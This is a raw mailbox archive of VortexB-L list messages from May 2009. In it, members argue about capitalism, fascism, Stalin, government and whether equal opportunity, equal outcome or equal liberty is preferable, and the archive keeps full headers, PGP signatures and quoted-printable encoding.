dZQKKM8ptRagfknh/BUb/6qwMk2+/acdAp35i4Rjo5QPsPK5Yo/E+mjOBRTCGtIA9/rj N97pJ+z66nsBBfmSx5HghlirOdIfFTN9dox0I= MIME-Version: 1.0 In-Reply-To: <20090528020121.GB18536@shell.resist.ca> References: <20090527045107.GB21543@shell.resist.ca> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> <20090528003429.GM17182@shell.resist.ca> <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> <20090528020121.GB18536@shell.resist.ca> From: Charles HOPE Date: Thu, 28 May 2009 01:35:11 -0400 Message-ID: <63ffa6020905272235w19df451fmd8028e7110d2dadb@mail.gmail.com> Subject: Re: [VoB]:Human Nature and fish To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b47e0583ff046af254fd Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4242 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 484 --001636c5b47e0583ff046af254fd Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Adolf Hitler stated in *Mein Kampf* that "the attitude of the State towards capital would be comparatively simple and clear. Its only object would be to make sure that capital remained subservient to the State" and also made a clear distinctio= n between "capital which is purely the product of creative labour and ... capital which is exclusively the result of financial speculation" [10]. The principal reference, of the anti-capitalism in fascism is probably Gottfried Feder , Adolf Hitlermet him in summer 1919, and Feder became his mentor in finance and economics. He was the inspirator of Hitler's oppositionto "Jewish finance capitalism." [11] . In Mein Kampf, Hitler talked about the "Manifesto for the Abolition of Interest Slavery", and he gave a recognition to Gottfried Feder, the ideals exposed in the manifesto are in the principal 25 points of the National Socialist Party, points that were supposed to never change, specifically the opposition to the, interest slavery which is seen in the Eleventh point which state "The abolition of incomes unearned by work, *The breaking of th= e slavery of interest*" which may also be seen in the eighteenth point which says "We demand the ruthless prosecution of those whose activities are injurious to the common interest. Common criminals, usurers, profiteers, etc., must be punished with death, whatever their creed or race". On Wed, May 27, 2009 at 10:01 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Stalin was a Capitalist? Hitler, whose Fascism charted a third way apar= t > > from both capitalism and communism was a capitalist? > > Stalin in fact acted as an agent of capitalist imperialism, in much the > same way > today's union and social-democrat party "leaderships" do. Explain Yalta a= nd > its > aftermath in any other terms, for instance. > > And Hitler very much was a capitalist stooge. I don't see how you think y= ou > can try > to get that one past anyone. And none of this can divert from the truth o= f > what all > the capitalists in the History of the World truly are: a gang of > blood-thirsty > thieves and slavers and serial mass murderers. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkod8HEACgkQXo3EtEYbt3GBfACgqkivoI1VVH3EpzxI/zBsKA92 > fFoAoLEhEgvG6BuJohdIZWktR+vxXiWW > =3DaHLf > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b47e0583ff046af254fd Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable [10]<= /a>. The principal reference, of the anti-capitalism in fascism is pr= obably Gottfried Feder, Adolf Hitler met him in summer 19= 19, and Feder became his mentor in finance and economics. He was the inspirator= of Hitler's = opposition to "Jewish finance capitalism."[11]. In Mein Kampf, Hitler talked about the "Manifesto for the Abolition of Interest Slavery", and he gave a recognition to Gottfried Feder, the ideals exposed in the manifesto are in the principal 25 points of the National Socialist Party, points that were supposed to never change, specifically the opposition to the, interest slavery which is seen in the Eleventh point which state "The abolition of incomes unearned by work, The breaking of the slavery of interest" which may also be seen in the eighteenth point which says "We demand the ruthless prosecution of those whose activities are injurious to the common interest. Common criminals, usurers, profiteers, etc., must be punished with death, whatever their creed or race".




On Wed, May 27, 2009 at 10:01 PM, grok <grok@resist.ca> wrote:=
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Stalin was a Capitalist? Hitler, whose Fascism= charted a third way apart
> from both capitalism and communism was a capitalist?

Stalin in fact acted as an agent of capitalist imperialism, in much t= he same way
today's union and social-democrat party "leaderships" do. Exp= lain Yalta and its
aftermath in any other terms, for instance.

And Hitler very much was a capitalist stooge. I don't see how you think= you can try
to get that one past anyone. And none of this can divert from the truth of = what all
the capitalists in the History of the World truly are: a gang of blood-thir= sty
thieves and slavers and serial mass murderers.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkod8HEACgkQXo3EtEYbt3GBfACgqkivoI1VVH3EpzxI/zBsKA92
fFoAoLEhEgvG6BuJohdIZWktR+vxXiWW
=3DaHLf
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b47e0583ff046af254fd-- From vortexb-l-request@eskimo.com Thu May 28 05:25:03 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SCOwHT007726; Thu, 28 May 2009 05:25:02 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SCOvUB007718; Thu, 28 May 2009 05:24:57 -0700 Resent-Date: Thu, 28 May 2009 05:24:57 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: 6.QXZ9oVM1kyFBrp8DXz0G3dyYrY0E7vIbaP.W6W.ji_RI5i4tKkLrwgiNsDu82wSDnWjheja1nmY8k94aLpZQSkGH_5tDGpmhzxLbBmWO58_JT4DQgUMVI9V_WlZiQzqrqGH0a_hWRHUMIp7tP6feFJYURmQZbZNOpFIOLCteJDKp5g6cx5q6Ss_C1bFcGCRmTpjJVFevJcvq3kwZ3JADsv5Wbbdk5cwnHRIZng0IMW0eMX_ztstKaqYq3SMYvuC7hr4_0BATYLpFiMrSksvmaFDlvyxXfJkWceZThAHE7Snew- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Date: Thu, 28 May 2009 07:24:50 -0500 Organization: Austin Instruments. Inc. Message-ID: <0j0t15hpgr9dhdvcs795cqvre4hq17gbu3@4ax.com> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> In-Reply-To: <20090527221254.GF17182@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <1FWdcB.A.g4B.ZKoHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4243 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 485 On Wed, 27 May 2009 15:12:54 -0700, you wrote: >Something here truly is very stoopid and phony indeed. Not to mention = deluded as hell. --- So you didn't mention it? JF =20 From vortexb-l-request@eskimo.com Thu May 28 05:49:53 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SCnqFl017676; Thu, 28 May 2009 05:49:52 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SCnmXu017653; Thu, 28 May 2009 05:49:48 -0700 Resent-Date: Thu, 28 May 2009 05:49:48 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: RbwVlrsVM1lIkJG74fEeGyOi7iUcEM9.UmZC8EMeuIHGzZsYiPMCugYGtOjzCnN.hDSmItHWyYBK6gdIZUZmVgT02MizXFO2DZnFjlF6R1sbPZ7zNh4y3a9Wi1F4Jt0XX6_Eo3CT1L7soudHjNFI89OoNNy7hnEcKda..grnbXnRVXHYrZe0KB1mY1l4nRgQTRh5sQFmCC6KbC_BS0v2hQGz0GTsUERyA6VnTuJT3h2tb_rS1E1swzSPVqqaKn3KrHU17KjvxtMQ0tZnKkXD2lmHay8CefPccGIxpPcnTYTx0NZwPjX56cLpZdinFHqBp0nfauHowqstt9Tn4jHOaePJz4LCU1xG X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Thu, 28 May 2009 07:49:40 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> <20090527203933.GB17182@shell.resist.ca> <20090527235427.GJ17182@shell.resist.ca> In-Reply-To: <20090527235427.GJ17182@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <6yprBD.A.rTE.rhoHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4244 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 486 On Wed, 27 May 2009 16:54:27 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> >> Cite? >> > >> >Google it yourself. I'm not making some outrageous claim here. = Whatever youse think. >> >Why not start here: = >>=20 >> --- >> OK, then, even from your stilted perspective we must be doing >> _something_ right since we're feeding those of us who can't feed >> themselves, yes? > >What's this "we" shite.=20 --- Hardly shit since it's 'we' who are feeding them. That is, those of us whose tax dollars are being used to supply them with food. And more. =20 One would think you'd be happy with such an arrangement since it leans toward the left, which you dearly love, but no... all you can find is fault.=20 Typical America-bashing from a typical megalomaniacal narcissist. ---=20 >You don't speak for a fraction of the people you claim to do. --- Do you really think that most people think it's a bad thing to feed the poor? JF =20 From vortexb-l-request@eskimo.com Thu May 28 06:39:51 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SDdngU016689; Thu, 28 May 2009 06:39:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SDdjtR016646; Thu, 28 May 2009 06:39:45 -0700 Resent-Date: Thu, 28 May 2009 06:39:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: T01oWHIVM1mkHdmBaD2FRi4Ozf5.s4LY1sWRbDhEh..hC3mMsPxCbEvu7yjmnu_SeFiaH1r_Yx3neKy5Gk_jg_BOqQ.eas_cfz8V035Wj0mjZFcVNLk6.1XTRtIyvdbeKVtjRukvUHL_srK0oEhirRe6xoFK0OE3Qq54BoCRjekPEvEgRhNEXde.jrqbxXer_K2gpMn.Iy023SmvGhdW_6xsblRMe.w1.VTk5o73Uo_EwEq4K5eolDuqU166cnSYPwGvQwoxnJmrdCRvTGges9LOCwJ2PKFZg.uwCzCnHnNHEodDaVaK4KeY3cboEjcOBTQD28E5uVMHHNP2.0FKl1V2XfoQR9DY X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Date: Thu, 28 May 2009 08:39:30 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> In-Reply-To: <20090527235551.GK17182@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4245 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 487 On Wed, 27 May 2009 16:55:51 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> >> >The Law is an ass, isn't it?=20 >> >>=20 >> >> --- >> >> More like a mule which won't respond to your rein. >> >=20 >> >No, the Law is definitely an ass. =20 >>=20 >> --- >> What do you mean? >>=20 >> JF =20 > >I mean that your government is a criminal, gangster enterprise. --- As usual, you're not making any sense. In this case you stated that: "The Law is an ass, isn't it?" And then the meaning you assigned to the statement was that the US government is a criminal, gangster enterprise. Search as I might, I could find no definition of "ass" which equates it to a criminal, gangster enterprise. Moreover, even if your definition was accurate, the generality of: "The Law is an ass" would apply to _all_ governments and would brand them all as criminal, gangster enterprises. You really should think these things out instead of using the scattergun approach and just barking out whatever comes to mind. That is, if you want to hang on to the modicum of credibility you have left. JF =20 From vortexb-l-request@eskimo.com Thu May 28 08:31:48 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SFVj1P002976; Thu, 28 May 2009 08:31:46 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SFViNn002964; Thu, 28 May 2009 08:31:44 -0700 Resent-Date: Thu, 28 May 2009 08:31:44 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: Date: Thu, 28 May 2009 11:31:40 -0400 Message-ID: <26461BC10E774EC99C9B17C585BDCFF1@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_007A_01C9DF87.DEB36E90" X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnfqWVs0JcqFnLVSqeanqJvmierrA== Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4246 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:freedom and/or equality Status: O X-Status: X-Keywords: X-UID: 488 This is a multi-part message in MIME format. ------=_NextPart_000_007A_01C9DF87.DEB36E90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Would you prefer to live in a society that guarantees equal opportunity, or one that guarantees equal outcome? Jeff ------=_NextPart_000_007A_01C9DF87.DEB36E90 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Would you prefer to live in a society that guarantees = equal opportunity, or one that guarantees equal outcome?

 

Jeff

------=_NextPart_000_007A_01C9DF87.DEB36E90-- From vortexb-l-request@eskimo.com Thu May 28 09:09:45 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SG9gqc020451; Thu, 28 May 2009 09:09:42 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SG9fBH020437; Thu, 28 May 2009 09:09:41 -0700 Resent-Date: Thu, 28 May 2009 09:09:41 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <2964e4298c2c.298c2c2964e4@ncf.ca> Date: Thu, 28 May 2009 12:09:24 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4247 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 489 *Only* if the worker approves of the employer=27s business=2E e=2Eg=2E If he is starving and a vegetarian=2C and the only business hiri= ng where he lives is a slaughter house=2C should he be expected to deny his own beliefs=3F harry ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Tuesday=2C May 26=2C 2009 12=3A33 pm Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E Yes=2C that is one of your premises=2E Is my conclusion correct=3F =3E = =3E = =3E = =3E On Tue=2C May 26=2C 2009 at 12=3A19 PM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E wrote=3A =3E = =3E =3E =3E =3E The worker is not negotiating from a position of equal bargaining= = =3E power!=3E =3E =3E harry =3E =3E =3E =3E ----- Original Message ----- =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E =3E =3E Date=3A Tuesday=2C May 26=2C 2009 0=3A21 am =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E =3E =3E =3E =3E Saving a drowning man is one thing=2E But given this context = below=2C =3E =3E =3E it seems =3E =3E =3E to mean that if a worker goes to an employer for a job=2C the= =3E =3E =3E employer is =3E =3E =3E responsible to first hand over enough money to make sure the = =3E worker=3E =3E isn=27thungry before the salary negotiation commences=2E= =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E Does it matter why the person would be worse off for = =3E refusing=3F=3E =3E =3E Are you =3E =3E =3E =3E recognizing a difference between agency and circumstan= ce=3B the =3E =3E =3E =3E differencebetween me putting a gun to your head and in= forming =3E =3E =3E you =3E that I=27ll kill you =3E =3E =3E =3E if you turn down the deal=2C versus the deal simply be= ing = =3E the best =3E =3E =3E =3E of all your =3E =3E =3E =3E options=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E On Sat=2C May 23=2C 2009 at 10=3A23 PM=2C Harry Veeder= = =3E =3Chveeder=40ncf=2Eca=3E=3E =3E wrote=3A =3E =3E =3E =3E =3E =3E =3E =3E =3E I would say=2C all things being equal=2C it boils = down to the =3E =3E =3E right to =3E =3E =3E =3E =3E refuse the transaction and NOT BE WORSE OFF for ha= ving =3E =3E =3E refused=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E On Tue=2C May 26=2C 2009 at 12=3A03 AM=2C Harry Veeder =3Chve= eder=40ncf=2Eca=3E = =3E wrote=3A=3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E =3E =3E From=3A grok =3Cgrok=40resist=2Eca=3E =3E =3E =3E =3E Date=3A Saturday=2C May 23=2C 2009 11=3A57 pm =3E =3E =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E= =2E =3E =3E =3E =3E =3E =3E =3E =3E =3E -----BEGIN PGP SIGNED MESSAGE----- =3E =3E =3E =3E =3E Hash=3A SHA1 =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E As the smoke cleared=2C Harry Veeder =3Chveeder=40ncf= =2Eca=3E =3E =3E =3E =3E =3E mounted the barricade and roared out=3A =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E The innocent bystander argument=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E Run that past us=2C please=2E=2E=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E - -- grok=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E He asked why he should be responsible for another person=27= s = =3E plight=3E =3E =3E if he did not directly cause it=2E An innocent byst= ander = =3E is a person =3E =3E =3E =3E minding their own business who learns of suffering=2E =3E =3E =3E =3E =3E =3E =3E =3E The question seems to imply the default position that the= = =3E bystander=3E =3E =3E has NO responsibility to ameliorate the sufferin= g=2E =3E =3E =3E =3E =3E =3E =3E =3E I would say instead the bystander by default always bears= SOME =3E =3E =3E =3E responsibility=2E =3E =3E =3E =3E Even if he does not have the opportunity or the ability t= o =3E =3E =3E =3E directly provide help=2C it would be irresponsible of him= to = =3E impede=3E =3E =3E others from helping=2E =3E =3E =3E =3E =3E =3E =3E =3E Harry =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E -- =3E =3E =3E Never did I see a second sun =3E =3E =3E Never did my skin touch a land of glass =3E =3E =3E Never did my rifle point but true =3E =3E =3E But in a land empty of enemies =3E =3E =3E Waiting for the tick-tick-tick of the want =3E =3E =3E A uranium angel =3E =3E =3E Crying =93behold=2C=94 =3E =3E =3E This land that knew fire is yours =3E =3E =3E Taken from Corruption =3E =3E =3E To begin anew =3E =3E =3E =3E =3E =3E =3E =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Thu May 28 09:16:49 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SGGfck027642; Thu, 28 May 2009 09:16:45 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SGGSvI027287; Thu, 28 May 2009 09:16:28 -0700 Resent-Date: Thu, 28 May 2009 09:16:28 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <298e62298947.298947298e62@ncf.ca> Date: Thu, 28 May 2009 12:16:26 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:freedom and/or equality X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4248 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 490 neither. I prefer equal liberty. Harry ----- Original Message ----- From: Jeff Fink Date: Thursday, May 28, 2009 11:31 am Subject: [VoB]:freedom and/or equality > Would you prefer to live in a society that guarantees equal > opportunity, or > one that guarantees equal outcome? > > > > Jeff > > From vortexb-l-request@eskimo.com Thu May 28 10:13:02 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SHCsQP019821; Thu, 28 May 2009 10:12:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SHCoOA019779; Thu, 28 May 2009 10:12:50 -0700 Resent-Date: Thu, 28 May 2009 10:12:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <298e62298947.298947298e62@ncf.ca> Subject: RE: [VoB]:freedom and/or equality Date: Thu, 28 May 2009 13:12:48 -0400 Message-ID: <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 In-Reply-To: <298e62298947.298947298e62@ncf.ca> Thread-Index: Acnfr9v/6VRgabSiQFSbf64l5sJhrgABxWNg Resent-Message-ID: <8w8JKC.A.90E.SYsHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4249 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 491 What is the difference between opportunity and liberty in your opinion? Jeff -----Original Message----- From: Harry Veeder [mailto:hveeder@ncf.ca] Sent: Thursday, May 28, 2009 12:16 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality neither. I prefer equal liberty. Harry ----- Original Message ----- From: Jeff Fink Date: Thursday, May 28, 2009 11:31 am Subject: [VoB]:freedom and/or equality > Would you prefer to live in a society that guarantees equal > opportunity, or > one that guarantees equal outcome? > > > > Jeff > > From vortexb-l-request@eskimo.com Thu May 28 10:19:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SHJCiL022239; Thu, 28 May 2009 10:19:12 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SHJC6K022225; Thu, 28 May 2009 10:19:12 -0700 Resent-Date: Thu, 28 May 2009 10:19:12 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=WZXzUyFXuxuaOWqMQ0wzdCmGE73DyVlKPF8OmrEXtzA=; b=c/gEuqiG7j6wcRw4wbF8owJ8G29OIcvOnuIt2GWZ2VqOV94T9ZY0qHURVRLALdqlm9 Fhpdp34qz3KMl9kX1WM0ymRDOwcNepte5Njz1TKZ8+m796zSgR3/VbJV1w5yd+8FaChj nTFz+w82pZNPBB5GQDuyj71q0a+JY6guzh0YU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=c1onVPNK3x+m9SwwNPcE5xyV+hxzTn+/PdzX4TyQlbn3mnj5CTqWcUg2ci+sI2B9fQ PxeRUsy1oSN10Y6d9dpJcNErBx2d6qjzfsjAixzpbQG03UnEaQ68F5uQmrOcZNKpO7UV itlvki9NVgruMj6m6jSo7niqVVpdORX8SKl8o= MIME-Version: 1.0 In-Reply-To: <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> Date: Thu, 28 May 2009 10:19:11 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4250 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 492 This. I fail to see a difference. On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: > What is the difference between opportunity and liberty in your opinion? > > Jeff > > -----Original Message----- > From: Harry Veeder [mailto:hveeder@ncf.ca] > Sent: Thursday, May 28, 2009 12:16 PM > To: vortexb-l@eskimo.com > Subject: 